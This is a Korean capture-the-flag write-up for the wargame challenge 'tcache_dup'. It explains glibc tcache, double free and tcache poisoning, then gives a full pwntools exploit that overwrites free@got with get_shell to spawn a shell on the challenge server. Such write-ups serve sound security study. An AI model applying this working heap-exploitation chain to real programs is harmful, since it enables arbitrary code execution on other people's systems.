tcache_dup

delete() frees without NULLing the slot, so the same chunk enters the tcache twice and a later malloc hands back free@got.

2026.11.07 Pwn original post

이 문제는 작동하고 있는 서비스(tcache_dup)의 바이너리와 소스코드가 주어집니다. Tcache dup 공격 기법을 이용한 익스플로잇을 작성하여 셸을 획득한 후, “flag” 파일을 읽으세요. “flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다. 플래그의 형식은 DH{…} 입니다.

Heap Exploitation의 Tcache Duplication (Tcache Poisoning으로 이어지는 기법) 을 사용하는 문제같다.

Tcache 는 뭔가?

Tcache는 Thread Local Cache의 약자이다. 말 그대로 스레드마다 따로 갖고 있는 free chunk 보관함이다.

tcache 전에는 free된 chunk가 전부 arena(힙 관리 구조체)의 bin에 들어갔다. 그런데 arena는 여러 스레드가 같이 쓰니까 malloc/free 할 때마다 락(lock) 을 걸어야 했고, 이게 꽤 느렸어요. 그래서 “스레드마다 개인 보관함을 하나씩 주면 락 없이 바로 꺼내 쓸 수 있잖아?” 해서 만든 게 tcache라는 보관함이다. 참고로 LIFO 구조이다. (last in first out)

Double free

그럼 이걸 익스플로잇 할려면 double free 에 대한 이해가 있어야한다. 말그대로

char *a = malloc(0x30);
free(a);
free(a);

double free 이다. 이건 여러 취약함을 만드는데 대표적으로 임의 주소 쓰기나 information leak 이 있다. (리스트도 꼬일수 있다)

문제는 서로 다른 두 객체가 같은 메모리를 공유한다는것이다.

char *p = malloc(32);   // a를 받음
char *q = malloc(32);   // 또 a를 받음!

이러면 이제 p와 q는 같은 주소이다. 프로그램은 둘이 별개의 객체라고 믿고 쓰는데, 한쪽에 쓰면 다른 쪽 데이터가 망가진다. 예를 들어 p는 사용자 이름 버퍼, q는 권한 정보 구조체라면 이름을 입력하는 것만으로 권한 값을 덮어쓸 수 있다는것이다.

또 다른건 free 리스트 자체를 조작할 수 있다는것.

free된 chunk에서는 사용자 데이터 영역의 첫 8바이트가 next 포인터로 쓰인다. 앞에 free 된 청크를 가르킨다는것이다. 그런데 더블 프리 상태에서는 chunk a가 “할당된 상태”이면서 동시에 “free 리스트에도 들어 있는 상태”가 됀다.

p = malloc(32);   // a를 받았지만, bin에는 아직 a가 남아 있음
// p에 데이터를 쓰면 → 그게 곧 bin 안에 있는 a의 next 포인터를 덮어씀

p의 첫 8바이트에 원하는 주소 X를 써 넣으면, bin이 이렇게 바뀐다.

bin → [a] → [X]

그러면 malloc을 두 번 더 했을 때 두 번째 malloc이 주소 X를 돌려준다. 이게 앞에서 말한 tcache poisoning이다. 결국 결과는 임의 주소 쓰기이다.

malloc이 공격자가 고른 주소를 돌려주면, 프로그램은 거기에 정상적인 데이터 쓰기를 한다. 그 주소가 함수 포인터, GOT 엔트리, 리턴 주소 같은 곳이면 실행 흐름을 탈취할 수 있다.

문제에 적용

그럼 이제 우리의 문제에 적용해보자. 우리가 분석할 프로그램에는 다음 기능이 있어.

char *ptr[10];      // 최대 10개의 Chunk를 가리키는 포인터 배열

Create

ptr[cnt] = malloc(size);
read(0, ptr[cnt], size);
  • 원하는 크기의 Chunk 할당
  • 사용자 입력을 Chunk에 기록
  • 할당한 주소를 ptr[cnt]에 저장

Delete

free(ptr[idx]);
  • 지정한 인덱스의 Chunk 해제
  • 포인터를 NULL로 초기화하지 않음
  • 동일한 인덱스를 다시 삭제할 수 있음

이 프로그램에서는 Double Free를 유발할 수 있는 조건이 만들어져 있어.

더블 프리 → freelist 조작 → malloc이 GOT 주소를 반환하게 만듦 → 거기에 값을 쓰면 그게 곧 GOT overwrite. 로 갈거기 때문에.. 이것들 사용해서 확인해볼꺼다.

# 1. glibc 버전
ldd --version

# 2. 바이너리 보호 기법
checksec --file=./tcache_dup

# 3. get_shell 주소
nm -an ./tcache_dup | grep get_shell

# 4. GOT 정보
objdump -R ./tcache_dup

output 은

[*] '/Users/chaeeun/Desktop/bf0e403d-0d7a-47c1-8d7c-327795d65def/tcache_dup'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

0000000000400ab0 T get_shell

./tcache_dup:     file format elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE
0000000000600ff8 R_X86_64_GLOB_DAT  __gmon_start__
00000000006010a0 R_X86_64_COPY     stdout@GLIBC_2.2.5
00000000006010b0 R_X86_64_COPY     stdin@GLIBC_2.2.5
0000000000601018 R_X86_64_JUMP_SLOT  free@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT  __stack_chk_fail@GLIBC_2.4
0000000000601030 R_X86_64_JUMP_SLOT  system@GLIBC_2.2.5
0000000000601038 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5
0000000000601040 R_X86_64_JUMP_SLOT  alarm@GLIBC_2.2.5
0000000000601048 R_X86_64_JUMP_SLOT  read@GLIBC_2.2.5
0000000000601050 R_X86_64_JUMP_SLOT  __libc_start_main@GLIBC_2.2.5
0000000000601058 R_X86_64_JUMP_SLOT  signal@GLIBC_2.2.5
0000000000601060 R_X86_64_JUMP_SLOT  malloc@GLIBC_2.2.5
0000000000601068 R_X86_64_JUMP_SLOT  setvbuf@GLIBC_2.2.5
0000000000601070 R_X86_64_JUMP_SLOT  __isoc99_scanf@GLIBC_2.7
0000000000601078 R_X86_64_JUMP_SLOT  exit@GLIBC_2.2.5

ㅎ 카페 네트워크가 인터랙티브 TCP를 4왕복쯤에서 조용히 끊어버림. 이유도 모르고 겁나 해멨다. 그냥 핫스팟으로 했음;;

익스플로잇

from pwn import *

e = ELF('./tcache_dup', checksec=False)
p = remote('host3.dreamhack.games', 15872)

SZ = 0x30                               # tcache bin 0x40

def create(size, data):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Size: ', str(size).encode())
    p.sendafter(b'Data: ', data)

def delete(idx):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'idx: ', str(idx).encode())

create(SZ, b'A')                        # ptr[0] = A
delete(0); delete(0)                    # double free   tcache: A -> A
create(SZ, p64(e.got['free']))          # ptr[1] = A    A->next = free@got
create(SZ, b'B')                        # ptr[2] = A    entries = free@got
create(SZ, p64(e.symbols['get_shell'])) # ptr[3] = free@got  <- GOT overwrite (8B)
delete(0)                               # free() == get_shell()

p.interactive()

코드 설명

세팅 부분

e = ELF('./tcache_dup', checksec=False)
p = remote('host3.dreamhack.games', 15872)
SZ = 0x30   # 요청 크기 0x30 → chunk는 0x40짜리 (헤더 0x10 포함)

SZ를 왜 정하고, 왜 하필 0x30인가..?

먼저: tcache는 “크기별로” 통이 나뉘어 있다. 중요한 건, free한 chunk는 자기 크기에 맞는 통에만 들어가고, malloc도 자기가 요청한 크기의 통에서만 꺼낸다는것.

만약 free할 때는 0x40짜리였는데 다음에 0x50을 요청하면, 다른 통을 보니까 우리가 꼬아놓은 A가 안 나옴. 즉 공격 체인이 끊기지 않게 하기위해 사이즈 고정 해놔야함.

① 더블 프리로 bin 꼬기

create(SZ, b'A')        # ptr[0] = 청크 A 할당
delete(0); delete(0)    # free(A); free(A) → tcache: A -> A

아까 언급했던 개념. 같은 chunk A가 tcache 0x40 bin에 두 번 들어가서 A → A로 꼬임.

② tcache poisoning — next를 GOT로

create(SZ, p64(e.got['free']))   # ptr[1], A를 꺼냄

malloc이 bin 맨 앞의 A를 꺼내 준다. 그런데 A는 아직 bin에 한 번 더 남아 있음(꼬였으니까). 여기에 free@got 주소를 써 넣는 게 핵심이다. A의 데이터 영역 첫 8바이트 = bin에 남아있는 A의 next 포인터. 그래서 bin이 이렇게 바뀜.

쓰기 전: bin → A → A
쓰기 후: bin → A → [free@got]

바로 이게 “freelist의 next를 공격자 값으로 덮는다” 는 그 단계.

③ 목표 주소를 할당 리스트로 끌어올리기

create(SZ, b'B')   # ptr[2], 두 번째 A를 꺼냄 (그냥 소모용)

이제 bin 맨 앞 A를 또 꺼냄. 그러면 다음 차례로 free@got이 bin의 맨 앞으로 올라옴. B는 아무 의미 없고, 그냥 A를 소비해서 다음 malloc이 GOT를 반환하게 만드는 “한 칸 넘기기”용.

④ GOT overwrite

create(SZ, p64(e.symbols['get_shell']))   # ptr[3] = free@got 자리!

이번 malloc은 free@got 주소 자체를 반환해요. 거기에 get_shell 주소를 써 넣으면, 그게 곧 GOT의 free 칸을 덮는 것.

GOT[free] = 진짜 free 주소 → get_shell 주소

앞에서 설명한 GOT overwrite가 정확히 여기서 일어남. “malloc이 GOT 주소를 반환하게 만들어서 거기에 쓴다” — 그 문장 그대로예요.

방아쇠

delete(0)   # 내부적으로 free(...) 호출

delete는 내부에서 free()를 불러요. 그런데 GOT[free]가 이미 get_shell로 바뀌었으니, free(…) 호출 = get_shell() 실행이 돼요. 함수 호출 코드는 그대로인데 점프 목적지만 바뀐, GOT overwrite의 전형적 결과죠.

#heap#tcache#double-free#got-overwrite